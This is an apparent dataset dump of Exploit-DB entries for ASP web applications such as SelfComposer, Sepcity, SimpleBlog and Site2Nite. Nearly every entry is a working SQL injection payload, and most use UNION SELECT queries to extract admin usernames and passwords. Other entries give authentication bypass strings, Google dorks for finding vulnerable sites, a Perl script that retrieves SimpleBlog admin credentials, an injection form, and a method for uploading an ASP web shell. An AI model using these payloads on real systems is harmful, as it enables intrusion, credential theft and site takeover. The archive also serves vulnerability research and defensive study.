deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12606
Description: SelfComposer CMS - SQL Injection
Type: webapps
Platform: asp
Date: 2010-05-14
Author: Locu

Exploit:
*==== =={ Advisory 14/5/2010 } ======*

*SQL injection vulnerability in SelfComposer CMS
*

*Vendor's Description of Software:*

*# http://www.selfcomposer.it*

*Dork:*

*allinurl:"prodotti.asp?idpadrerif="*

*Application Info:*

*Name: *SelfComposer

*Vulnerability Info:*

*Type: *SQL injection Vulnerability

*Risk: High*

*Fix:*

*N/A*

*Time Table:*

*06/05/2010 - Vendor notified.*
*Additional Info:*

All the input passed via "idprod", "idpadrerif", "idreferenza",
"idpadrerifIstituzionali"
is not properly sanitised before being used in a sql query.

*Solution:*

Input validation of "idprod", "idpadrerif", "idreferenza",
"idpadrerifIstituzionali"
parameters should be corrected.

*Vulnerability:*

# http://[site]/scheda.asp?idprod=[SQLi]&idpadrerif=[SQLi]

# http://[site]/schedaistituzionale.asp?idreferenza=[SQLi]&idpadrerifIstituzionali=[SQLi]

*Credit:*

Discoverd By: Locu

Website: http://xlocux.wordpress.com

Contacts: xlocux[-at-]gmail.com

*============ {EOF} =============*

*
*

*Locu*
Exploit-DB #7613
Description: Sepcity Classified - 'ID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-29
Author: S.W.A.T.

Exploit:
--==+================================================================================+==--
--==+             Sepcity Classified Remote SQL Injection Vulnerability              +==--
--==+================================================================================+==--
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
AUTHOR: S.W.A.T.    -   Www.BaTLaGH.coM   -   svvateam@yahoo.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
Site: http://www.sepcity.com/free_classified_software.aspx
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DORK (google): :(
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DESCRIPTION:
You Can See Admin User & Password In Plaintext
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
EXPLOITS:
for username:
www.site.com/[path]/classdis.asp?ID=1%20union%20select%200,1,username,3%20from%20members

for password:
www.site.com/[path]/classdis.asp?ID=1%20union%20select%200,1,password,3%20from%20members

Online Demo:
http://freeasp.sepcity.com/classifieds/classdis.asp?ID=1%20union%20select%200,1,2,3%20from%20members
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
NOTE/TIP:
Admin Login Is At http://site.com/[path]/admclassifieds.asp
I'll Be   A C I D A L !!!
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

--==+================================================================================+==--
--==+             Sepcity Classified Remote SQL Injection Vulnerability              +==--
--==+================================================================================+==--

# milw0rm.com [2008-12-29]
Exploit-DB #7610
Description: Sepcity Lawyer Portal - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-29
Author: Osmanizim

Exploit:
#By Osmanizim 
#Security Specialist
#Contacts > :(  www.osmanizim.com
#Title: Lawyer Portal <=  SQL Injection Vulnerability.
#Download:http://www.sepcity.com/free_lawyer_portal_software.aspx
#Demo : http://freeasp.sepcity.com/faculty/default.asp



//  Exploit -->


http://localhost/faculty/deptdisplay.asp?ID=1 union select 0,1,2,3,Username,userpassword,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from Members




// Admin -->


http://localhost/faculty/login.asp

# milw0rm.com [2008-12-29]
Exploit-DB #7609
Description: Sepcity Shopping Mall - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-29
Author: Osmanizim

Exploit:
#By Osmanizim 
#Security Specialist
#Contacts > :(  www.osmanizim.com
#Title: Shopping Mall <=  SQL Injection Vulnerability.
#Demo : http://freeasp.sepcity.com/shopmall/default.asp



//  Exploit -->


http://localhost/shopmall/shpdetails.asp?ID=1 union select 0,1,2,username,password,5,6,7,8,9 from administrators




// Admin -->


http://localhost/shopmall/admlogin.asp?

# milw0rm.com [2008-12-29]
Exploit-DB #5564
Description: Shader TV (Beta) - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-05-08
Author: U238

Exploit:
Shader TV (Beta) Multiple Remote SQL Ä°njection Vulnerable


Script : http://www.aspindir.com/indir.asp?ID=5441

Script : http://rapidshare.de/files/39341463/ShaderTV.zip.html

Coded  : Asp

Lnguae : Acces


Discovered By U238 | < Ugurcan Engin > 

Friends : ka0x - The_BekiR - Marco Almeida - Erhan Bulut - Caborz  :

Web - Designer Solution Developer

setuid.noexec0x1@hotmail.com

http://noexec.blogspot.com



0x1 = [S** Says : Allah BelanÄ± Versin Ulan Åžiz0 !]

0x2 = [Ben Sadece Ä°yi Bir Ä°nsan Olmak Ä°stemistim ] 


Exploit:

Administrator Login to  creative web panel is atack of to SQL injectin.


http://localhost:2222/lab/ShaderTV/yonet/kanal.asp?islem=degistir&sid=13+union+select+0,kullanici,parola,3,4,5+from+tblyonetici

----

http://localhost:2222/lab/ShaderTV/yonet/google.asp?islem=degistir&sid=1+union+select+0,parola+from+tblyonetici&sayfa=1

http://localhost:2222/lab/ShaderTV/yonet/google.asp?islem=degistir&sid=1+union+select+0,kullanici+from+tblyonetici&sayfa=1

----

http://localhost:2222/lab/ShaderTV/yonet/hakk.asp?islem=degistir&sid=2+union+select+0,parola+from+tblyonetici

http://localhost:2222/lab/ShaderTV/yonet/hakk.asp?islem=degistir&sid=2+union+select+0,kullanici+from+tblyonetici


Administrator Panel : 

target/ShaderTV/yonet



-------------------------------

Admin Panel Login Bypass :

target/ShaderTV/yonet/default.asp


username : 'or' 1=1

password : 'or' 1=1


This is Admin Panel See You ?


---------------------------------

# milw0rm.com [2008-05-08]
Exploit-DB #14821
Description: Shop Creator 4.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-08-27
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Shop Creator
Version: 4.0
Vendor: http://www.etoshop.com
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: pouya
pass: ' or '
admin page : http://site.com/[path]/admin.asp
---------------------------------
Victem :
http://www.etoshop.com/demo/pcstore
---------------------------------------------------------
#########################################################
Exploit-DB #29398
Description: Shopstorenow E-Commerce Shopping Cart - 'Orange.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-06
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21905/info

Shopstorenow E-commerce Shopping Cart is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/orange.asp?CatID=1'%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--sp_password
Exploit-DB #29180
Description: SIAP CMS - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-25
Author: nagazakig74

Exploit:
source: https://www.securityfocus.com/bid/21286/info

SIAP CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

The following example username demonstrates this issue by bypassing authentication:

' or 'x'='x
Exploit-DB #14155
Description: SIDA University System - SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-01
Author: K053

Exploit:
# Author: K053  <K053.dev0te3 at gmail>
# Vendor : SIDA < http://91.98.156.224/ >
# Version: All below 1389 are vulberable
====================================================================================
Note: Seems vendor patched this vulnerability in newest update [ 1389]
so we decide to public it now. Maybe more in future ;)

====================================================================================
Detail: Application is vulnerable in several section. seems developer
fixed most of them but until version 1389 Research Plans section is 
vulnerable. In Research Plans section there is form which there is no 
input validation in email field.

====================================================================================
POC: Application powered by Oracle DBMS. Submit this query in email field
and let password field empty to get DBMs version.

http://address/Portal/Research/ResearchPlan/UserStart.aspx

'or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--

====================================================================================
Dork: just search for "سیدا"

====================================================================================
~Blackout Frenzy  [http://b0f.ir]
Exploit-DB #2228
Description: SimpleBlog 2.0 - 'comments.asp' SQL Injection (1)
Type: webapps
Platform: asp
Date: 2006-08-20
Author: Chironex Fleckeri

Exploit:
################################################################################
##                                                                            ##

##  SimpleBlog 2.0 <= "comments.asp" SQL Injection Exploit                    ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##  Credit by        |  Chironex Fleckeri                                     ##

##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##

##  Googledork       |  Powered By SimpleBlog 2.0                             ##

##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##

##                                                                            ##
################################################################################

############################################################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null FROM T_USERS WHERE id=1 #
############################################################################################################################################################

###########################################################
#Admin Panel : http://www.target.com/path/admin/login.asp #
###########################################################

# milw0rm.com [2006-08-20]
Exploit-DB #27083
Description: SimpleBlog 2.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-01-16
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/16243/info

SimpleBlog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, or the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/simpleblog/?view=archives&month='&year=2006
Exploit-DB #2853
Description: SimpleBlog 2.3 - '/admin/edit.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-26
Author: bolivar

Exploit:
# Title   :  simpleblog <= v 2.3 (/admin/edit.asp) Remote SQL Injection Vulnerability
# Author  :  bolivar
# Dork    :  "SimpleBlog 2.3 by 8pixel.net"

---------------------------------------------------------------------------

http://[target]/[path]/admin/edit.asp?id=-1+union+select+0,uUSERNAME,uPASSWORD,0,0,0,0,0,0+from+t_users

---------------------------------------------------------------------------
# Just for Fun!!

# milw0rm.com [2006-11-26]
Exploit-DB #4239
Description: SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-28
Author: g00ns

Exploit:
#!/usr/bin/perl

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#              SimpleBlog 3.0 [ comments_get.asp ]               #
#                    ] Remote SQL Injection [                    #
#                                                                #
#              [c]ode by TrinTiTTY [at] g00ns.net                #
#                 Vulnerability by MurderSkillz                  #
#                                                                #
#      shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox,   #
#              Canuck, a59, sess, bernard, + the rest of g00ns   #
#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

use LWP::UserAgent;

$host = @ARGV[0];
$ua = LWP::UserAgent->new;

my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';

if (@ARGV < 1){&top( );&usage( )}
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
else { &xpl( ) }
sub xpl( ) {
  &top( );
  print "\n [~] Connecting\n";
  $res = $ua->get("http://$host/$inject");

  $con = $res->content;
  print "\n [~] Checking for admin info\n";
  if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)
  {
     print "\n\t [+] Admin user: $1\n";
  }
  if ($con =~ /<a href\=\"http:\/\/(.*)\" target\=\"\_blank\">(.*)<\/a>/gmi)
  {
     print "\n\t [+] Admin password: $2\n";
     print "\n [+] Complete\n";
  }
  else {
      print "\n [-] Unable to retrieve admin info\n";
      exit(0);
  }
}
sub top( )
{
  print q {
  ##################################################################
  #             SimpleBlog 3.0  [ comments_get.asp ]               #
  #                    ] Remote SQL Injection [                    #
  #                                                                #
  #                [c]ode by TrinTiTTY [at] g00ns.net              #
  #                   Vulnerability by MurderSkillz                #
  ##################################################################
  }
}
sub usage( )
{
  print "\n Usage: perl simpleblog3.pl <host>\n";
  print "\n Example: perl simpleblog3.pl www.example.com/path\n\n";
  exit(0);
}

# milw0rm.com [2007-07-28]
Exploit-DB #14943
Description: sirang web-based d-control - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-09-08
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 8 (0 day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

- Title  : Sirang Web-Based D-Control Multiple Remote Vulnerabilities 
- Affected Version : <= v6.0
- Vendor  Site   : http://www.sirang.com 

- Discovery : Abysssec.com



Description : 

this CMS suffer from OWASP top 10 !!!
some of there will come here ...

Vulnerabilites : 
======================================================================================================================
1- SQL Injection

Vulnerability is located in content.asp

line 131-133
...
    txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"
    set rs=conn.execute(txt)
	while not rs.eof
...

content.asp line 202-206
...
if id<>"" then
                    txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"
                    set xx = conn.execute(txt10)
                    if not xx.eof then
...             

lots of files those will have to do input validation from user input are vulnerable to SQL Injection .

PoC : 
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*
note : if you can't see result you need to do it blindly 


======================================================================================================================
2- Bypass uploads restriction:

after you got user/pass with sql injection go to
http://site.com/admin/dc_upload.asp

js file line 13-34 :


function showthumb(file) {
	if (file !='') {
	myshowfile = file;
	
	extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");
	allowSubmit = false;
	while (file.indexOf("\\") != -1)
	file = file.slice(file.indexOf("\\") + 1);
	ext = file.slice(file.indexOf(".")).toLowerCase();
	for (var i = 0; i < extArray.length; i++) {
	if (extArray[i] == ext) { allowSubmit = true; break; }
	}
	
	if (allowSubmit) thumb.src=myshowfile;
	else
	alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
	}
	else {
	alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
	}
}
 
as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell. 

you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)
Exploit-DB #31811
Description: Site Tanitimlari Scripti - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-05-20
Author: fahn zichler

Exploit:
source: https://www.securityfocus.com/bid/29299/info

Site Tanitimlari Scripti is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/lab/site/yonetim_kullanici_duzenle.asp?id=1+union+select+0,1,KULLANICIADI,3+from+KULLANICI
http://www.example.com/lab/site/yonetim_kullanici_duzenle.asp?id=1+union+select+0,1,PAROLA,3+from+KULLANICI
http://www.example.com/lab/site/yonetim_kullanici_duzenle.asp?ID=1+union+select+0,1,PAROLA,3+from+KULLANICI
http://www.example.com/lab/site/yonetim_kullanici_duzenle.asp?ID=1+union+select+0,1,KULLANICIADI,3+from+KULLANICI
http://www.example.com/lab/site/yonetim_kategori_duzenle.asp?ID=1+union+select+0,PAROLA,KULLANICIADI+from+KULLANICI
http://www.example.com/lab/site/yonetim_kategori_duzenle.asp?islem=duzenle&ID=1+union+select+0,PAROLA,KULLANICIADI+from+KULLANICI
http://www.example.com/lab/site/yonetim_site_onayla.asp?ID=1+union+select+0,1,KULLANICIADI,3,4,PAROLA,6,7,8,9,1,1+from+KULLANICI
Exploit-DB #15230
Description: Site2Nite Auto e-Manager - SQL Injection
Type: webapps
Platform: asp
Date: 2010-10-10
Author: KnocKout

Exploit:
==================================================
Auto e-Manager <= SQL Injection Vulnerability
==================================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
           { H4X0RE SECURITY PROJECT }
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Auto e-Manager
~Software: http://www.site2nite.com/
~Vulnerability Style : SQL Injection

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation~~~~~~~~~~~
    
   http://VICTIM/www/detail.asp?ID=654 {SQL Injection}
   http://VICTIM/www/detail.asp?ID=654 and 1=1  {True}
   http://VICTIM/www/detail.asp?ID=654 and 1=0  {False}
   
    ================================

     GoodLuck.
Exploit-DB #15627
Description: Site2Nite Big Truck Broker - 'txtSiteId' SQL Injection
Type: webapps
Platform: asp
Date: 2010-11-28
Author: underground-stockholm.com

Exploit:
<!--
Site2Nite Big Truck Broker "txtSiteId" SQL Injection Vulnerability
PRODUCT: Site2Nite Big Truck Broker
PRODUCT URL: http://www.site2nite.com/productdetail.asp?id=14
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/
-->
<html>
<body>
<form method="post" action="http://[host]/[path]/news_default.asp">
<input type="text" name="txtSiteId" value="-1 union insect">
<input type="hidden" name="cmdSearchId" value="Go">
<input type="submit">
</form>
</body>
</html>
Exploit-DB #15399
Description: Site2Nite Business eListings - SQL Injection
Type: webapps
Platform: asp
Date: 2010-11-02
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Site2nite Businesses For Sale Listings SQL injection
Version:FSBO
Price:100$
Vendor url:http://www.site2nite.com/
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

List businesses for sale by owner and broker at prices you determine.
?8 pics per listing, advanced Search, detailed listings, full admin control panel.
After sales support at no charge.
Code: ASP 3.0 & VBScri
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*SQL injection Vulnerability*

DEMO URL :

http://server/detail.asp?ID=[SQLi]

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #31191
Description: Site2Nite Real Estate Web - 'agentlist.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-02-13
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27779/info

Site2Nite Real Estate Web is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following proof-of-concept login and password examples are available:

Login: anything' OR 'x'='x
[CREDENTIAL_REDACTED]' OR 'x'='x